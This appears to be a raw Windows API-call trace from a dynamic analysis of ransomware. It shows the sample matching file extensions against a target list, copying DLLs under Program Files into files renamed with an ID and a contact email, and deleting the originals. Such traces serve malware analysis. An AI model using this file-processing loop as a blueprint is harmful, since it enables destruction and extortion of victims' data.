	[0083.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0083.240] lstrlenW (lpString=".jpg") returned 4
	[0083.240] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0083.240] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0083.240] lstrlenW (lpString="VSTOLoader.dll") returned 14
	[0083.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0083.241] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=367216) returned 1
	[0083.241] CloseHandle (hObject=0x328) returned 1
	[0083.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20
	[0083.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0083.241] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.241] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.242] GetLastError () returned 0x0
	[0083.242] ReadFile (in: hFile=0x328, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x59a70, lpOverlapped=0x0) returned 1
	[0083.250] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x59a80, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x59a80, lpOverlapped=0x0) returned 1
	[0083.746] ReadFile (in: hFile=0x328, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.746] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0083.746] SetEndOfFile (hFile=0x388) returned 1
	[0083.746] CloseHandle (hObject=0x388) returned 1
	[0083.746] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.746] SetEndOfFile (hFile=0x328) returned 1
	[0083.750] CloseHandle (hObject=0x328) returned 1
	[0083.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0083.751] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 1
	[0083.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0083.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0083.751] lstrlenW (lpString=".doc") returned 4
	[0083.751] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.751] lstrlenW (lpString=".docx") returned 5
	[0083.751] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0083.751] lstrlenW (lpString=".pdf") returned 4
	[0083.751] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.751] lstrlenW (lpString=".xls") returned 4
	[0083.751] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.751] lstrlenW (lpString=".xlsx") returned 5
	[0083.751] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0083.751] lstrlenW (lpString=".ppt") returned 4
	[0083.752] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0083.752] lstrlenW (lpString=".zip") returned 4
	[0083.752] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.752] lstrlenW (lpString=".rar") returned 4
	[0083.752] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.752] lstrlenW (lpString=".bz2") returned 4
	[0083.752] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.752] lstrlenW (lpString=".7z") returned 3
	[0083.752] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0083.752] lstrlenW (lpString=".dbf") returned 4
	[0083.752] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0083.752] lstrlenW (lpString=".1cd") returned 4
	[0083.752] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0083.752] lstrlenW (lpString=".jpg") returned 4
	[0083.752] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0083.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0083.752] lstrlenW (lpString=".doc") returned 4
	[0083.752] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.752] lstrlenW (lpString=".docx") returned 5
	[0083.752] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0083.752] lstrlenW (lpString=".pdf") returned 4
	[0083.752] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.752] lstrlenW (lpString=".xls") returned 4
	[0083.752] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.753] lstrlenW (lpString=".xlsx") returned 5
	[0083.753] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0083.753] lstrlenW (lpString=".ppt") returned 4
	[0083.753] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0083.753] lstrlenW (lpString=".zip") returned 4
	[0083.753] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.753] lstrlenW (lpString=".rar") returned 4
	[0083.753] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.753] lstrlenW (lpString=".bz2") returned 4
	[0083.753] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.753] lstrlenW (lpString=".7z") returned 3
	[0083.753] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0083.753] lstrlenW (lpString=".dbf") returned 4
	[0083.753] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0083.753] lstrlenW (lpString=".1cd") returned 4
	[0083.753] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0083.753] lstrlenW (lpString=".jpg") returned 4
	[0083.753] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.753] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0083.753] lstrlenW (lpString="decora_sse.dll") returned 14
	[0083.753] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0083.754] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=86080) returned 1
	[0083.754] CloseHandle (hObject=0x328) returned 1
	[0083.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 0x20
	[0083.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.755] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0083.755] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.755] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.755] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.755] GetLastError () returned 0x0
	[0083.755] ReadFile (in: hFile=0x328, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x15040, lpOverlapped=0x0) returned 1
	[0083.758] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x15050, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x15050, lpOverlapped=0x0) returned 1
	[0083.760] ReadFile (in: hFile=0x328, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.760] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0083.760] SetEndOfFile (hFile=0x388) returned 1
	[0083.760] CloseHandle (hObject=0x388) returned 1
	[0083.760] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.760] SetEndOfFile (hFile=0x328) returned 1
	[0083.762] CloseHandle (hObject=0x328) returned 1
	[0083.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0083.762] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 1
	[0083.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0083.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0083.762] lstrlenW (lpString=".doc") returned 4
	[0083.762] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.762] lstrlenW (lpString=".docx") returned 5
	[0083.762] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0083.762] lstrlenW (lpString=".pdf") returned 4
	[0083.762] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.762] lstrlenW (lpString=".xls") returned 4
	[0083.762] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.762] lstrlenW (lpString=".xlsx") returned 5
	[0083.763] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0083.763] lstrlenW (lpString=".ppt") returned 4
	[0083.763] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0083.763] lstrlenW (lpString=".zip") returned 4
	[0083.763] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.763] lstrlenW (lpString=".rar") returned 4
	[0083.763] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.763] lstrlenW (lpString=".bz2") returned 4
	[0083.763] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.763] lstrlenW (lpString=".7z") returned 3
	[0083.763] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0083.763] lstrlenW (lpString=".dbf") returned 4
	[0083.763] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0083.763] lstrlenW (lpString=".1cd") returned 4
	[0083.763] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0083.763] lstrlenW (lpString=".jpg") returned 4
	[0083.763] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0083.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0083.763] lstrlenW (lpString=".doc") returned 4
	[0083.763] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.763] lstrlenW (lpString=".docx") returned 5
	[0083.763] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0083.763] lstrlenW (lpString=".pdf") returned 4
	[0083.763] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.763] lstrlenW (lpString=".xls") returned 4
	[0083.763] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.764] lstrlenW (lpString=".xlsx") returned 5
	[0083.764] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0083.764] lstrlenW (lpString=".ppt") returned 4
	[0083.764] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0083.764] lstrlenW (lpString=".zip") returned 4
	[0083.764] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.764] lstrlenW (lpString=".rar") returned 4
	[0083.764] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.764] lstrlenW (lpString=".bz2") returned 4
	[0083.764] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.764] lstrlenW (lpString=".7z") returned 3
	[0083.764] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0083.764] lstrlenW (lpString=".dbf") returned 4
	[0083.764] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0083.764] lstrlenW (lpString=".1cd") returned 4
	[0083.764] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0083.764] lstrlenW (lpString=".jpg") returned 4
	[0083.764] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.764] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0083.764] lstrlenW (lpString="deploy.dll") returned 10
	[0083.764] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0083.765] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=587840) returned 1
	[0083.765] CloseHandle (hObject=0x328) returned 1
	[0083.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20
	[0083.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.765] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0083.765] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.765] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.765] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.765] GetLastError () returned 0x0
	[0083.765] ReadFile (in: hFile=0x328, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x8f840, lpOverlapped=0x0) returned 1
	[0083.778] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x8f850, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x8f850, lpOverlapped=0x0) returned 1
	[0084.401] ReadFile (in: hFile=0x328, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.401] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0084.402] SetEndOfFile (hFile=0x388) returned 1
	[0084.402] CloseHandle (hObject=0x388) returned 1
	[0084.402] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.402] SetEndOfFile (hFile=0x328) returned 1
	[0084.407] CloseHandle (hObject=0x328) returned 1
	[0084.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0084.408] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 1
	[0084.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0084.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0084.408] lstrlenW (lpString=".doc") returned 4
	[0084.408] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.408] lstrlenW (lpString=".docx") returned 5
	[0084.408] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0084.408] lstrlenW (lpString=".pdf") returned 4
	[0084.408] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.408] lstrlenW (lpString=".xls") returned 4
	[0084.408] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.408] lstrlenW (lpString=".xlsx") returned 5
	[0084.408] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0084.409] lstrlenW (lpString=".ppt") returned 4
	[0084.409] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0084.409] lstrlenW (lpString=".zip") returned 4
	[0084.409] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.409] lstrlenW (lpString=".rar") returned 4
	[0084.409] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.409] lstrlenW (lpString=".bz2") returned 4
	[0084.409] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.409] lstrlenW (lpString=".7z") returned 3
	[0084.409] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0084.409] lstrlenW (lpString=".dbf") returned 4
	[0084.409] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0084.409] lstrlenW (lpString=".1cd") returned 4
	[0084.409] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0084.409] lstrlenW (lpString=".jpg") returned 4
	[0084.409] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0084.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0084.409] lstrlenW (lpString=".doc") returned 4
	[0084.409] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.409] lstrlenW (lpString=".docx") returned 5
	[0084.409] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0084.409] lstrlenW (lpString=".pdf") returned 4
	[0084.409] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.409] lstrlenW (lpString=".xls") returned 4
	[0084.409] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.410] lstrlenW (lpString=".xlsx") returned 5
	[0084.410] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0084.410] lstrlenW (lpString=".ppt") returned 4
	[0084.410] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0084.410] lstrlenW (lpString=".zip") returned 4
	[0084.410] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.410] lstrlenW (lpString=".rar") returned 4
	[0084.410] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.410] lstrlenW (lpString=".bz2") returned 4
	[0084.410] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.410] lstrlenW (lpString=".7z") returned 3
	[0084.410] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0084.410] lstrlenW (lpString=".dbf") returned 4
	[0084.410] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0084.410] lstrlenW (lpString=".1cd") returned 4
	[0084.410] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0084.410] lstrlenW (lpString=".jpg") returned 4
	[0084.410] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.410] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0084.410] lstrlenW (lpString="dt_shmem.dll") returned 12
	[0084.410] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0084.411] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=29760) returned 1
	[0084.411] CloseHandle (hObject=0x328) returned 1
	[0084.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 0x20
